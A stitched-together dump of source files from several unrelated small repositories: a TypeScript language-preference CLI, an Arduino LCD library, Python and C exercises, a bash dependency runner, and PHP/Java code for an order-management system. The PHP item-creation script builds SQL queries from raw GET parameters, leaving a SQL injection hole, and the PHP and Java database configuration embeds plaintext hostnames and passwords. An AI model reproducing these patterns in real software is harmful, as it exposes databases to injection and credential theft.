import validLanguages from './valid-languages';
@injectable()
export class I18n {
constructor(@inject('FuzzyFinder') private fuzzy: FuzzyFinder) {
//
}
isLanguageCode(str: string): boolean {
return validLanguages.includes(str);
}
findSimilarLanguageCode(language: string): string | undefined {
return this.fuzzy.search(validLanguages, language);
}
fixCasing(languageCode: string): string {
if (languageCode.includes('-')) {
const [firstPart, secondPart] = languageCode.split('-');
return `${ firstPart.toLowerCase() }-${ secondPart.toUpperCase() }`;
}
return languageCode.toLowerCase();
}
}
<file_sep>import { inject, injectable } from 'tsyringe';
import { I18n } from '../i18n';
import { InvalidValueForPreferenceError } from './errors';
import { IPreferencesStorage } from './storage/preferences-storage';
export type Preference = 'lang'
export const possiblePreferences: Preference[] = ['lang'];
@injectable()
export class Preferences {
constructor(
@inject('PreferencesStorage') private storage: IPreferencesStorage,
private i18n: I18n,
) {
//
}
async set(key: Preference, value: string): Promise<void> {
const lang = this.i18n.fixCasing(value);
this.throwIfLanguageIsNotValid(lang);
await this.storage.set(key, lang);
}
async get(key: Preference): Promise<string> {
const value = await this.storage.get(key);
return value;
}
private throwIfLanguageIsNotValid(value: string) {
if (this.i18n.isLanguageCode(value)) {
return;
}
const suggestion = this.i18n.findSimilarLanguageCode(value);
throw new InvalidValueForPreferenceError('lang', suggestion);
}
}
<file_sep>import 'reflect-metadata';
import Command from '@oclif/command';
import { container } from 'tsyringe';
import { IPreferencesStorage } from '@modules/preferences';
export default abstract class extends Command {
async init(): Promise<void> {
await super.init();
this.setConfigFilePath();
}
private setConfigFilePath() {
const storage = container.resolve<IPreferencesStorage>('PreferencesStorage');
storage.configDirectory = this.config.configDir;
}
}
<file_sep>import { container } from 'tsyringe';
import {
possiblePreferences,
Preferences,
Preference,
InvalidValueForPreferenceError,
} from '../modules/preferences';
import Command from './base';
export default class Config extends Command {
static description = 'get/set user preferences'
static usage = 'config lang'
static examples = ['$ lantoo config lang pt-br', '$ lantoo config lang']
static args = [
{
name: 'key',
required: true,
description: 'the key to get/set',
options: possiblePreferences,
},
{
name: 'value',
required: false,
description: 'a value to set to the key',
},
]
async run(): Promise<void> {
const { args } = this.parse(Config);
const { key, value } = args;
if (value) {
await this.set(key, value);
} else {
await this.get(key);
}
}
private async set(key: Preference, value: string) {
const preferences = container.resolve<Preferences>(Preferences);
try {
await preferences.set(key, value);
} catch (error) {
this.handleSetPreferenceError(error, value);
}
}
private handleSetPreferenceError(error: any, value: string) {
if (error instanceof InvalidValueForPreferenceError) {
this.log(`❌ '${ value }' is not a valid ISO 632-9 language code`);
if (error.suggestion) {
this.log(`🤔 Did you mean '${ error.suggestion }'?`);
}
return;
}
throw error;
}
private async get(key: Preference) {
const preferences = container.resolve<Preferences>(Preferences);
const value = await preferences.get(key);
if (value) {
this.log(value);
} else {
this.log(
`No value is set for the '${ key }' key.`
+ '\n'
+ 'To set one, run $ lantoo config lang <<value>>',
);
}
}
}
<file_sep>import { fancy, expect } from 'fancy-test';
import { FuzzyFinder } from './fuzzy-finder';
import { I18n } from './i18n';
let i18n: I18n;
const test = fancy.do(() => {
i18n = new I18n(new FuzzyFinder());
});
function converts(input: string) {
return {
to: (output: string) =>
test.it(`should convert ${ input } to ${ output }`, () =>
expect(i18n.fixCasing(input)).to.equal(output),
),
};
}
describe('i18n', () => {
describe('fixCasing()', () => {
converts('eN').to('en');
converts('pt-br').to('pt-BR');
});
});
|
09cc351eb037fad45848b32a51bccde33cea2e50
|
[
"TypeScript"
] | 16 |
TypeScript
|
ajsaraujo/lantoo
|
a62ae4a8247346001cb1591cd01454a7c7ccffa2
|
3c6c2750a08a9f37c6c339ce1d9fd798ec64f3be
|
refs/heads/master
|
<repo_name>viccarre/Adafruit_RGB_Char_LCD_Backpack<file_sep>/examples/demo/demo.ino
#include <SoftwareSerial.h>
#include "RGB_Char_LCD_Backpack.h"
void setup() {
lcd_begin();
lcd_setContrast(200);
lcd_setBrightness(255);
lcd_setCursorAtBeginning();
lcd_clear();
lcd_print("Hello Arduino!");
lcd_setColor(255, 0, 0);
lcd_autoscrollOff();
lcd_blinkCursorOn();
lcd_underlineCursorOn();
delay(1000);
lcd_clear();
lcd_setCursorAtBeginning();
lcd_print("Hello World!");
}
void loop() {
}
<file_sep>/RGB_Char_LCD_Backpack.h
#include <Arduino.h>
#include <SoftwareSerial.h>
void lcd_begin();
void lcd_setContrast(int contrast);
void lcd_setBrightness(int brightness);
void lcd_setCursorAtBeginning();
void lcd_clear();
void lcd_print(String message);
void lcd_setColor(int red, int green, int blue);
void lcd_autoscrollOn();
void lcd_autoscrollOff();
void lcd_setCursor(int column, int row);
void lcd_underlineCursorOn();
void lcd_underlineCursorOff();
void lcd_blinkCursorOn();
void lcd_blinkCursorOff();
void lcd_cursorForward();
void lcd_cursorBackward();
<file_sep>/README.md
# Adafruit_RGB_Char_LCD_Backpack
##Overview
This library was created to control the [Adafruit's RGB Character LCD](https://www.adafruit.com/product/784) via Software Serial.
##Instalation
The library was created using the Arduino IDE 1.0.5.
In order to correctly compile:
1. Download or fork this github project.
2. Open the Arduino IDE 1.0.5
3. In the Arduino IDE go to Sketch/Import Library.../Add Library
4. Select the Adafruit_RGB_Char_LCD_Backpack folder
5. We recomend to close and reopen the Arduino IDE and then go to file/Examples/Adafruit_RGB_Char_LCD_Backpack/demo
6. Connect the display to the Arduino (Vcc, GND and the serial pin of the board to the pin 2 of the Arduino)
* Vcc -> Arduino's 5V
* GND -> Arduino's GND
* Serial -> Arduino's pin 2
7. Enjoy!
##Codebender
The Codebender project is available:
[https://codebender.cc/sketch:142178](https://codebender.cc/sketch:142178)
##Usage
You can explore the example project to understand how this library works, it's very easy to use. The libary was based in the [Adafruit's documentation](https://learn.adafruit.com/usb-plus-serial-backpack/command-reference) for this display.
The next functions are available:
```
lcd_begin();
lcd_setContrast(int contrast); //max 255, 200 is good
lcd_setBrightness(int brightness); //max 255
lcd_setCursorAtBeginning();
lcd_clear();
lcd_print(String message);
lcd_setColor(int red, int green, int blue);
lcd_autoscrollOn();
lcd_autoscrollOff();
lcd_setCursor(int column, int row);
lcd_underlineCursorOn();
lcd_underlineCursorOff();
lcd_blinkCursorOn();
lcd_blinkCursorOff();
lcd_cursorForward();
lcd_cursorBackward();
```
##Example
This is the example code inside the project
```
#include <SoftwareSerial.h>
#include "RGB_Char_LCD_Backpack.h"
void setup() {
lcd_begin();
lcd_setContrast(200);
lcd_setBrightness(255);
lcd_setCursorAtBeginning();
lcd_clear();
lcd_print("Hello Arduino!");
lcd_setColor(255, 0, 0);
lcd_autoscrollOff();
lcd_blinkCursorOn();
lcd_underlineCursorOn();
delay(1000);
lcd_clear();
lcd_setCursorAtBeginning();
lcd_print("Hello World!");
}
void loop() {
}
```
##Bugs or Issues
If you find a bug you can submit an issue here on github:
https://github.com/viccarre/Adafruit_RGB_Char_LCD_Backpack/issues
##License
The MIT License (MIT)
Copyright (c) 2015 <NAME>
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.<file_sep>/RGB_Char_LCD_Backpack.cpp
#include "RGB_Char_LCD_Backpack.h"
SoftwareSerial lcd = SoftwareSerial(0,2);
void lcd_begin(){
//lcd = SoftwareSerial(0,2);
lcd.begin(9600); // set the size of the display if it isn't 16x2 (you only have to do this once)
lcd.write(0xFE);
lcd.write(0xD1);
lcd.write(16); // 16 columns
lcd.write(2); // 2 rows
delay(10);
}
void lcd_setContrast(int contrast){
// set the contrast, 200 is a good place to start, adjust as desired
lcd.write(0xFE);
lcd.write(0x50);
lcd.write(200);
delay(10);
}
void lcd_setBrightness(int brightness){
// set the brightness - we'll max it (255 is max brightness)
lcd.write(0xFE);
lcd.write(0x99);
lcd.write(255);
delay(10);
}
void lcd_setCursorAtBeginning(){
lcd.write(0xFE);
lcd.write(0x48);
delay(10);
}
void lcd_clear(){
// clear screen
lcd.write(0xFE);
lcd.write(0x58);
delay(10);
}
void lcd_print(String message){
lcd.print(message);
}
void lcd_setColor(int red, int green, int blue){
lcd.write(0xFE);
lcd.write(0xD0);
lcd.write((uint8_t)red);
lcd.write((uint8_t)green);
lcd.write((uint8_t)blue);
delay(1000);
}
void lcd_autoscrollOn(){
lcd.write(0xFE);
lcd.write(0x51);
delay(10);
}
void lcd_autoscrollOff(){
lcd.write(0xFE);
lcd.write(0x52);
delay(10);
}
void lcd_setCursor(int column, int row){
lcd.write(0xFE);
lcd.write(0x47);
lcd.write((uint8_t)column);
lcd.write((uint8_t)row);
delay(10);
}
void lcd_underlineCursorOn(){
lcd.write(0xFE);
lcd.write(0x4A);
delay(10);
}
void lcd_underlineCursorOff(){
lcd.write(0xFE);
lcd.write(0x4B);
delay(10);
}
void lcd_blinkCursorOn(){
lcd.write(0xFE);
lcd.write(0x53);
delay(10);
}
void lcd_blinkCursorOff(){
lcd.write(0xFE);
lcd.write(0x54);
delay(10);
}
void lcd_cursorForward(){
lcd.write(0xFE);
lcd.write(0x4D);
delay(10);
}
void lcd_cursorBackward(){
lcd.write(0xFE);
lcd.write(0x4C);
delay(10);
}
|
ad7bc8a65069eb5a188cae7837a0d9658bd089c7
|
[
"C",
"Markdown",
"C++"
] | 4 |
C
|
viccarre/Adafruit_RGB_Char_LCD_Backpack
|
e4d5de10430020bacf63f03f70109508e65bfab1
|
91544761c71f0c8fee1b34f319e01187ea11b504
|
refs/heads/main
|
<file_sep>#include <stdio.h>
int main()
{
unsigned int fib[50];
fib[0]=1;
fib[1]=1;
for(int i=2;i<50;i++) {
fib[i]=fib[i-1]+fib[i-2];
}
for(int i=0;i<50;i++) {
printf("%o\n",fib[i]);
}
return 0;
}
<file_sep>#include <stdio.h>
#include <math.h>
int main()
{
int a,b;
scanf("%d%d",&a,&b);
// 1. Sposób
printf("%d\n",(int)pow(a,b));
// 2. Sposób
int c=1;
for(int i=0;i<b;i++){
c*=a;
}
printf("%d\n",c);
return 0;
}
<file_sep># Macierz A
print('<NAME>: ')
x1=int(input())
y1=int(input())
tab=[]
print('Wartości:')
for i in range(x1):
temp=[]
for j in range(y1):
temp.append(int(input()))
tab.append(temp)
print()
# Macierz B
print('<NAME>: ')
x2=int(input())
y2=int(input())
tab2=[]
print('Wartości:')
for i in range(x2):
temp=[]
for j in range(y2):
temp.append(int(input()))
tab2.append(temp)
print('\n')
# Wypisanie
print('Macierz A:')
for i in range(x1):
print('|',end='')
for j in range(y1):
print(tab[i][j],end='')
if j<y1-1:
print('\t',end='')
print('|')
print()
print('Macierz B:')
for i in range(x2):
print('|',end='')
for j in range(y2):
print(tab2[i][j],end='')
if j<y2-1:
print('\t',end='')
print('|')
print()
# Dodawanie Macierzy
if x1==x2 and y1==y2:
print('Macierz C = A + B:')
for i in range(x1):
print('|',end='')
for j in range(y1):
print(tab[i][j]+tab2[i][j],end='')
if j<y1-1:
print('\t',end='')
print('|')
else:
print('Dodanie macierzy o różnych wymiarach jest niemożliwe.')
print()
# Mnożenie Macierzy
if x1==y2 and y1==x2:
print('Macierz D = A * B:')
tab3=[]
for i in range(x1):
temp=[]
for j in range(y2):
temp2=0
for k in range(y1):
temp2+=tab[i][k]*tab2[k][j]
temp.append(temp2)
tab3.append(temp)
for i in range(x1):
print('|',end='')
for j in range(y2):
print(tab3[i][j],end='')
if j<y2-1:
print('\t',end='')
print('|')
else:
print('Mnożenie macierzy o nieodpowiednich wymiarach jest niemożliwe.')
|
4c4b8e705ed1af02f94946c4fdbd263374049b5d
|
[
"C",
"Python"
] | 3 |
C
|
zwiadowca987/Studia_temp
|
be38370b0bf45805cf8c78ef9e7ef23fd1525e5a
|
73fa516c94e40e4947d63f4584a9d5cf82a76592
|
refs/heads/main
|
<repo_name>pkatsiotis/Non-Convex-Optimization<file_sep>/README.md
# Non-Convex-Optimization
Non-Convex Optimization for the CSApHL problem
|
1fae409700e85788915c49b526d142981bc8cd99
|
[
"Markdown"
] | 1 |
Markdown
|
pkatsiotis/Non-Convex-Optimization
|
c538b7f4866cacab050c19ff220acb14ea1c4165
|
2b28258c23ac732dd153571e7986b8ade9739118
|
refs/heads/master
|
<repo_name>Monedas-Sociales-La-Plata/Moneda-Social<file_sep>/README.md
# Preguntas
1- Dado que el sistema de credito que estamos utilizando tiene como caracteristica principal su carencia tanto de inflacion como de deflacion (relacionadas a la fluctuacion de la circulacion monetaria), debido a que justamente no implementa una moneda de circulacion regulada, sino mas bien un registro individual de creditos limitados.
- **a)** Como el criterio apreciativo que nos estas proponiendo no introduce los problemas inflacionarios de el "peso" en nuestro sistema, como asi tambien todas sus demas deficiencias ya conocidas tales como dependencia al dolar u otras monedas, la arbitrariedad en su emision, o la corrupcion y especulación inherentes a el contexto politico-económico en el cual y para el cual es emitida esa moneda y sus indicadores?
2-
- **a)** Seria apropiado que un nuevo sistema económico integral y soberano como el que buscamos dependa de un organismo estadistico local como lo es INDEC que a su vez esta pensado y adaptado a una economia que entendemos como obsoleta?
- **b)** Pregunta al grupo: No seria mas apropiado adaptar las referencias apreciativas al "sistema del bien comun" desarrollado por <NAME>?
3-
- **a)** Crees que el nivel de complejidad que tiene el desarrollo de esas ecuaciones indicativas seria facilmente comprensible para la persona sin conocimientos tecnico-economicos?
- **b)** No seria de mas provecho para nuestro objetivo formativo el promover referencias de apreciacion universales y mas simples de comprender que, en lugar de meras exactitudes algoritmicas, busquen trasladar y exponer los ideales en los que creemos y que cualquier persona con sentido de justicia y honestidad pueda identificar, mas alla de sus conocimientos o preparacion?
<file_sep>/Objetivos generales.md
# Proyecto de moneda social
## Objetivos generales
- Cuando el grupo promotor crezca lo suficiente generar un nombre para la moneda
- Usar la plataforma digital creada por la moneda social de Córdoba como herramienta para los intercambios
- Armar un mapeo de las iniciativas que ya existen en la ciudad (aprendizaje libre y bachis populares, salud, productorxs, transporte, vivienda, ingeniería, etc.) y vincular las posibles redes de beneficio que se podrían crear entre ellas a través de la moneda social
- A la hora de presentar la propuesta, ir a hacerlo directamente a donde estén las iniciativas, más allá de invitarles a venir a las asambleas
- Cuando se empiecen a generar intercambios con la moneda social tratar de regular de alguna manera los precios, de forma que no se haga una copia del sistema económico que se intenta combatir, por ejemplo que los trabajos de "cuello blanco" no se valoricen desorbitadamente (ni no desorbitadamente) por encima de los de "cuello azul".
- Cuando se empiece a sumar gente a la asamblea de grupo promotor y a la asamblea una vez que el grupo promotor se haya disuelto, tratar de que las personas tomen decisiones en las que se involucren tomando un cargo/tarea
- Las personas nuevas que se encarguen de una tarea estarán acompañadas esa primera vez de alguien con experiencia
- Los roles/cargos serán rotativos
- Preparar la bienvenida: explicar bien de qué se trata y cómo funciona; generar dinámicas y juegos que además de ayudar a comprender la moneda social ayuden a forjar relaciones de confianza entre la gente; que el material que se use sea sencillo, claro y lindo; juego de las 5 columnas (que la gente ponga su nombre, qué cosas puede hacer, qué cosas le interesan, qué cosas ha conseguido sin usar dinero... [que alguien lo explique mejor jiji]
- Ecobanco [lo que explicó Pablo]
|
d8144305ffad3e5f64428c6e78660be44ab9819d
|
[
"Markdown"
] | 2 |
Markdown
|
Monedas-Sociales-La-Plata/Moneda-Social
|
bf603444c94de4aec6ada3028428e2453e55f116
|
2c81fe206b471571234ee4633f6d408b2e693620
|
refs/heads/master
|
<file_sep>* linter for deps to check they all call process
<file_sep>#!/bin/bash
# dep "foo"
function foo() {
requires "bar"
function is_met() {
[ -f /tmp/sometestbabashkafile ]
}
function meet() {
touch /tmp/sometestbabashkafile
}
process
}
function bar() {
function is_met() {
true
}
process
}
<file_sep>#!/bin/bash
__babashka_trace=no
__babashka_usage() {
echo "usage: babashka [-x] <dep name>" >&2
exit 1
}
while getopts "x" opt; do
case $opt in
x)
__babashka_trace=yes
shift
break
;;
\?)
__babashka_usage
break
;;
esac
done
if [ $__babashka_trace = "yes" ]; then
set -x
fi
function __babashka_find_self() {
basedir=$(dirname "$0")
if [ -h "$0" ]; then
basedir=$(dirname $(readlink -f "$0"))
fi
find "${basedir}/../lib" -type f
}
function __babashka_load_self() {
for f in `__babashka_find_self`; do
source "$f"
done
}
__babashka_load_self
__babashka_load_deps
__babashka_main "$@"
<file_sep>__babashka_log() {
echo "$@"
}
__babashka_fail() {
echo ERROR: "$@" 1>&2
exit 1
}
unmeetable() {
__babashka_fail "$@"
}
<file_sep>A [babushka](1) like clone, written in bash.
## Installing
Clone this repo to the location of your choice, and add `babashka/bin` to your path.
```bash
git clone https://github.com/richo/babashka
echo "export PATH=$PWD/babashka/bin:\${PATH}" >>.bashrc
```
## Organising deps
`babashka` looks for dependencies in the `deps/` folder within the current directory, so firstly make this folder. Then write dependencies in files ending in `.bash` within that folder, for example `deps/server.bash`.
## Writing deps
Write deps with a similar form to their babushka counterparts:
```bash
# dep zsh_installed
zsh_installed() {
function is_met() {
which zsh
}
function meet() {
sudo aptitude install zsh
}
process # Process line is important, you must include it.
}
# dep mysql_environment
mysql_environment() {
requires "mysql_server"
requires "mysql_client"
# Don't need process if this dep doesn't have meet or is_met
}
mysql_server() {
function is_met() {
which mysqld
}
function meet() {
sudo aptitude install mysql-server
}
process
}
mysql_client() {
function is_met() {
which mysql
}
function meet() {
sudo aptitude install mysql-client
}
process
}
```
## Running deps
Then invoke:
```bash
babashka zsh_installed
babashka mysql_environment
```
## What people are saying about babashka
"You're a bad person"
~ [@larsyencken](https://twitter.com/larsyencken)
[1]: https://babushka.me
<file_sep>file_exists() {
if [ "${1:0:7}" = "hdfs://" ]; then
hadoop fs -test -e "$1"
else
test -f "$1"
fi
}
dir_exists() {
if [ "${1:0:7}" = "hdfs://" ]; then
hadoop fs -test -d "$1"
else
test -f "$1"
fi
}
file_mtime() {
if [ "${1:0:7}" = "hdfs://" ]; then
echo $(( $(hadoop fs -stat %Y "$1") / 1000 ))
else
stat -c %Y "$1"
fi
}
file_is_newer() {
target_mtime=$(file_mtime "$1")
shift
for f in "$@"; do
mtime=$(file_mtime "$f")
if [ $mtime -gt $target_mtime ]; then
return 1
fi
done
return 0
}
<file_sep>function __babashka_main() {
if [ $# -eq 1 ]; then
__babashka_invoke "$1"
else
__babashka_usage
fi
}
<file_sep>function process() {
if ! process_is_met; then
process_meet
process_is_met || __babashka_fail "dependency didn't converge"
fi
}
function process_is_met() {
__babashka_log "==> is met? "
is_met
st=$?
__babashka_log " $st"
return $st
}
function process_meet() {
__babashka_log "==> meet "
meet
st=$?
__babashka_log "$st"
}
function requires() {
__babashka_invoke "$1"
}
# $1 - dep name to invoke
function __babashka_invoke() {
__babashka_current_indent=$(( $__babashka_current_indent + 1 ))
__babashka_log "-> $1"
eval "$1"
__babashka_current_indent=$(( $__babashka_current_indent - 1 ))
}
<file_sep>function __babashka_load_deps() {
for path in deps babashka_deps ~/.babashka/deps; do
if [ -d $path ]; then
__babashka_load_deps_from_path "$path"
fi
done
}
# $1 - path to search over
# [$2] - pattern to match for deps
function __babashka_find_deps_from_path() {
find "$1" -type f # -iname "*.${2:-babsh}"
# TODO
}
# $1 - path to load deps from
function __babashka_load_deps_from_path() {
for path in `__babashka_find_deps_from_path "$1"`; do
source $path
done
}
|
a42f02b46dd02118720e6bce447ab7ec55fff88f
|
[
"Markdown",
"Shell"
] | 9 |
Markdown
|
dlutzy/babashka
|
19ba2ea7b4f1525ad35e06debdc4c790777e51a1
|
953e205e6f6e4c4f556befe56e7df804133fefb5
|
refs/heads/master
|
<file_sep>func json_to_readable_json(json) : #{
var tabs=0;
var out = "";
var quoting = false;
var c = "";
var p = "";
for i in range(json.length()): #{
p = c;
c = json[i];
out += c;
if c == "\"" and p != "\\" : quoting = not quoting;
if quoting : continue;
if c == "," : out+="\n"; for t in range(tabs) : out += "\t";
elif c == "{" : tabs+=1; out+="\n"; for t in range(tabs) : out += "\t";
elif c == "}" : tabs-=1; out+="\n"; for t in range(tabs) : out += "\t";
#}
return out;
#}
<file_sep># godot_json_to_readable_json
a simple script that makes json generated by Godot slightly more human readable
|
1f7aaaa77953441fcc06c370c1d081b9d002be63
|
[
"GDScript",
"Markdown"
] | 2 |
GDScript
|
SuperUserNameMan/godot_json_to_readable_json
|
dfa247ed6f3e199ec2c21d326c743d427099a0e2
|
111d6559830d7f2e42095cface49df942a4ed38a
|
refs/heads/master
|
<repo_name>condo-data/hotminute<file_sep>/app/__init__.py
from flask import Flask
from flask_compress import Compress
from flask_mail import Mail
app = Flask(__name__, static_folder='static')
app.config.from_object('config')
Compress(app)
mail = Mail(app)
import views
|
46b253b9c6aace2b9092786275df32ee3b7b801f
|
[
"Python"
] | 1 |
Python
|
condo-data/hotminute
|
48e3a168dd725225129e8a9e8670f38683f0ce8e
|
fcd483f2ca448f84409b307f08ae492dbdaa94f0
|
refs/heads/master
|
<repo_name>ccheroict/CJambi<file_sep>/src/main/java/pl/lss/cjambi/ccms/utils/BeanUtils.java
package pl.lss.cjambi.ccms.utils;
import java.lang.reflect.Field;
import org.apache.log4j.Logger;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author ctran
*/
public class BeanUtils {
private static final Logger logger = Logger.getLogger(BeanUtils.class);
public static Object getProperty(Object bean, String property) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
try {
if (bean == null || property == null) {
return bean;
}
Object tmp = bean;
do {
Class clazz = tmp.getClass();
SplittedString ss = new SplittedString(property, ".");
Field prop = clazz.getField(ss.first);
prop.setAccessible(true);
tmp = prop.get(tmp);
if (ss.last == null) {
return tmp;
}
property = ss.last;
} while (true);
} catch (NoSuchFieldException | SecurityException | IllegalArgumentException | IllegalAccessException ex) {
throw ex;
}
}
public static void setProperty(Object bean, String property, Object value) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
try {
if (property == null) {
bean = value;
return;
}
Object tmp = bean;
do {
Class clazz = tmp.getClass();
SplittedString ss = new SplittedString(property, ".");
Field prop = clazz.getField(ss.first);
prop.setAccessible(true);
if (ss.last == null) {
prop.set(tmp, value);
return;
}
tmp = prop.get(bean);
property = ss.last;
} while (true);
} catch (NoSuchFieldException | SecurityException | IllegalArgumentException | IllegalAccessException ex) {
throw ex;
}
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/utils/converter/DateTimeToStringConverter.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.utils.converter;
import java.util.Date;
import pl.lss.cjambi.ccms.utils.Utils;
/**
*
* @author ctran
*/
public class DateTimeToStringConverter implements Converter<Date, String> {
@Override
public Date toData(String presentation) throws Exception {
return Utils.parseDate(presentation);
}
@Override
public String toPresentation(Date data) {
return Utils.toStringSimpleDate(data);
}
}
<file_sep>/src/test/java/pl/lss/cjambi/ccms/view/SuggestBoxTest.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view;
import com.trolltech.qt.core.QTimer;
import com.trolltech.qt.gui.QApplication;
import com.trolltech.qt.gui.QDialog;
import com.trolltech.qt.gui.QHBoxLayout;
import java.util.List;
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import pl.lss.cjambi.ccms.bean.User;
import pl.lss.cjambi.ccms.db.DbService;
import pl.lss.cjambi.ccms.db.DbServiceImpl;
import pl.lss.cjambi.ccms.view.widget.SuggestBox;
/**
*
* @author ctran
*/
public class SuggestBoxTest extends QDialog {
private static DbService db = DbServiceImpl.getInstance();
private static SuggestBoxTest instance;
@BeforeClass
public static void setUpClass() {
QApplication.initialize(new String[0]);
// db = Cache.getInstance(DbService.class);
instance = new SuggestBoxTest();
}
@AfterClass
public static void tearDownClass() {
QTimer.singleShot(0, instance, "close()");
QApplication.execStatic();
}
@Before
public void setUp() {
}
@After
public void tearDown() {
}
/**
* Test of getState method, of class SuggestBox.
*/
@Test
public void testSuggestUser() {
QHBoxLayout layout = new QHBoxLayout();
SuggestBox<User> suggestBox = new SuggestBox(User.class, User.USERNAME_FIELD) {
@Override
public List fetchData() {
return db.getUser(text());
}
};
suggestBox.setStyleSheet("QLineEdit{border: 1px solid red;}");
layout.addWidget(suggestBox);
instance.setLayout(layout);
// instance.exec();
// User state = (User) suggestBox.getState();
// System.out.println(state.id);
}
}
<file_sep>/ccms/create_new_item.php
<?php
error_reporting(0);
include("db_config.php");
$uuid = $_GET['uuid'];
$productId = $_GET['productId'];
$requiredPack = $_GET['requiredPack'];
$quantity = $_GET['quantity'];
$price = $_GET['price'];
$value = $_GET['value'];
$orderId = $_GET['orderId'];
// array for JSON response
$response = array();
$result = mysqli_query($conn, "SELECT 1 FROM user WHERE BINARY uuid = '$uuid'") or die(mysqli_error($conn));
if (mysqli_num_rows($result) > 0 ) {
$result = mysqli_query($conn, "INSERT INTO `item`(product_id, requiredPack, quantity, price, value, order_id) VALUES($productId, $requiredPack, $quantity, $price, $value, $orderId)") or die(mysqli_error($conn));
$response['success'] = 1;
$response['item_id'] = mysqli_insert_id($conn);
} else {
$response['success'] = 0;
}
echo json_encode($response);
mysqli_close($conn);
?><file_sep>/ccms/db_config.php
<?php
/*
* All database connection variables
$mysql_hostname = "localhost";
$mysql_user = "17843548_0000002";
$mysql_password = "<PASSWORD>";
$mysql_database = "17843548_0000002";
*/
$mysql_hostname = "192.168.3.11:3306";
$mysql_user = "chungtq_ccms";
$mysql_password = "<PASSWORD>";
$mysql_database = "chungtq_ccms";
$conn = mysqli_connect($mysql_hostname, $mysql_user, $mysql_password, $mysql_database);
/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}
?><file_sep>/src/main/java/pl/lss/cjambi/ccms/db/DbServiceImpl.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.db;
import com.j256.ormlite.dao.CloseableIterator;
import com.j256.ormlite.dao.Dao;
import com.j256.ormlite.dao.DaoManager;
import com.j256.ormlite.jdbc.JdbcPooledConnectionSource;
import com.j256.ormlite.stmt.PreparedQuery;
import com.j256.ormlite.stmt.QueryBuilder;
import com.j256.ormlite.stmt.Where;
import com.j256.ormlite.table.TableUtils;
import com.trolltech.qt.core.QTimer;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.apache.log4j.Logger;
import pl.lss.cjambi.ccms.bean.Catalog;
import pl.lss.cjambi.ccms.bean.Company;
import pl.lss.cjambi.ccms.bean.DiscountType;
import pl.lss.cjambi.ccms.bean.Filter;
import pl.lss.cjambi.ccms.bean.Item;
import pl.lss.cjambi.ccms.bean.Office;
import pl.lss.cjambi.ccms.bean.Order;
import pl.lss.cjambi.ccms.bean.OrderStatus;
import pl.lss.cjambi.ccms.bean.Product;
import pl.lss.cjambi.ccms.bean.Supplier;
import pl.lss.cjambi.ccms.bean.Tax;
import pl.lss.cjambi.ccms.bean.Unit;
import pl.lss.cjambi.ccms.bean.User;
import pl.lss.cjambi.ccms.resources.Cache;
import pl.lss.cjambi.ccms.resources.I18n;
import pl.lss.cjambi.ccms.utils.Utils;
import pl.lss.cjambi.ccms.view.dialog.DialogErrorReporter;
import pl.lss.cjambi.ccms.view.dialog.ErrorReporter;
/**
*
* @author ctran
*/
public class DbServiceImpl implements DbService {
public static String JDBC_DEV = "jdbc:mysql://192.168.127.12:3306/chungtq_ccms?useUnicode=true&characterEncoding=UTF-8&useFastDateParsing=false";
public static String USERNAME_DEV = "chungtq_ccms";
public static String PASSWORD_DEV = "<PASSWORD>";
// public static String JDBC_DEV = "jdbc:mysql://sql.serwer1578161.home.pl:3306/17843548_0000002?useUnicode=true&characterEncoding=UTF-8&useFastDateParsing=false";
// public static String JDBC_DEV = "jdbc:mysql://mn11.webd.pl/ccms_ccms?useUnicode=true&characterEncoding=UTF-8&useFastDateParsing=false";
// public static String USERNAME_DEV = "17843548_0000002";
// public static String USERNAME_DEV = "ccms_ccms";
// public static String PASSWORD_DEV = "<PASSWORD>";
// public static String JDBC_DEV = "jdbc:mysql://localhost:3306/chungtq_ccms?useUnicode=true&characterEncoding=UTF-8&useFastDateParsing=false";
// public static String USERNAME_DEV = "root";
// public static String PASSWORD_DEV = "";
private static final int SESSION_LENGTH = 10 * 60 * 1000;
private static final String ISACTIVE = "isActive";
private static final String ID = "id";
private static final Logger logger = Logger.getLogger(DbServiceImpl.class);
// private static final String dbConfigFilePath = System.getProperty("user.dir") + File.separator + "db.json";
private static final ErrorReporter reporter = DialogErrorReporter.getInstance();
private static final QTimer timer = new QTimer();
private JdbcPooledConnectionSource connectionSource;
private static final DbService instance = new DbServiceImpl();
public static DbService getInstance() {
return instance;
}
private DbServiceImpl() {
try {
connectionSource = new JdbcPooledConnectionSource(JDBC_DEV, USERNAME_DEV, PASSWORD_DEV);
